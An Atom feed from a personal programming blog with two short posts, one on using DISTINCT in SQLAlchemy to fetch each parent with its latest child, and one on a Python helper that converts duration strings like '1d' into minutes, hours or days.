blog.notmyidea.org/feeds/code.atom.xml

<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Alexis Métaireau - code</title><link href="https://blog.notmyidea.org/" rel="alternate"></link><link href="https://blog.notmyidea.org/feeds/code.atom.xml" rel="self"></link><id>https://blog.notmyidea.org/</id><updated>2023-10-18T00:00:00+02:00</updated><entry><title>Using DISTINCT in Parent-Child Relationships</title><link href="https://blog.notmyidea.org/using-distinct-in-parent-child-relationships.html" rel="alternate"></link><published>2023-10-18T00:00:00+02:00</published><updated>2023-10-18T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-10-18:/using-distinct-in-parent-child-relationships.html</id><summary type="html">&lt;p&gt;Let&amp;#8217;s say you have a model defined like this, with a Parent and a Child&amp;nbsp;table:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Parent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;__tablename__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;parent&amp;quot;&lt;/span&gt;
    &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mapped_column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;primary_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;childs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Child&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;relationship&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;back_populates&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;parent&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Child&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;__tablename__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;child&amp;quot;&lt;/span&gt;
    &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mapped_column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;primary_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parent_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mapped_column …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Let&amp;#8217;s say you have a model defined like this, with a Parent and a Child&amp;nbsp;table:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Parent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;__tablename__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;parent&amp;quot;&lt;/span&gt;
    &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mapped_column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;primary_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;childs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Child&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;relationship&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;back_populates&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;parent&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Child&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;__tablename__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;child&amp;quot;&lt;/span&gt;
    &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mapped_column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;primary_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parent_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mapped_column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ForeignKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;parent.id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Parent&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;relationship&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;back_populates&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;children&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;born_at&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mapped&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mapped_column&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I&amp;#8217;ve tried many ways, with complex subqueries and the like, before finding out &lt;a href="https://www.sqlitetutorial.net/sqlite-distinct/"&gt;the &lt;span class="caps"&gt;DISTINCT&lt;/span&gt; &lt;span class="caps"&gt;SQL&lt;/span&gt; statement&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, if you want to retrieve the parent with it&amp;#8217;s more recent child, you can do it like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Parent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Child&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Child&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;distinct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Parent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;order_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Parent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Child&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;born_at&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category><category term="SQL"></category><category term="SQLAlchemy"></category><category term="Python"></category></entry><entry><title>Convert string to duration</title><link href="https://blog.notmyidea.org/convert-string-to-duration.html" rel="alternate"></link><published>2023-10-11T00:00:00+02:00</published><updated>2023-10-11T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-10-11:/convert-string-to-duration.html</id><summary type="html">&lt;p&gt;I found myself wanting to convert a string to a duration (int), for some&amp;nbsp;configuration.&lt;/p&gt;
&lt;p&gt;Something you can call like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;days&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hours&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;3m&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hours&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;3m&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;minutes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Literal&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Literal&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;days …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;I found myself wanting to convert a string to a duration (int), for some&amp;nbsp;configuration.&lt;/p&gt;
&lt;p&gt;Something you can call like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;days&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hours&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;3m&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hours&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;3m&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;minutes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Literal&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;string_to_duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Literal&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;days&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hours&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;minutes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Convert a string to a number of hours, days or minutes&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isdigit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

    &lt;span class="c1"&gt;# It&amp;#39;s not possible to convert from a smaller unit to a greater one:&lt;/span&gt;
    &lt;span class="c1"&gt;# - hours and minutes cannot be converted to days&lt;/span&gt;
    &lt;span class="c1"&gt;# - minutes cannot be converted to hours&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;days&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;h&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;m&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;mo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hours&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;m&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;mo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s2"&gt;&amp;quot;Durations cannot be converted from a smaller to a greater unit. &amp;quot;&lt;/span&gt;
            &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;(trying to convert &amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39; to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;)&amp;quot;&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Consider we&amp;#39;re converting to minutes, do the eventual multiplication at the end.&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;h&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;d&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;w&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;mo&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;  &lt;span class="c1"&gt;# considers 30d in a month&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;y&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;365&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;m&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Invalid duration value&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;hours&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;days&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;
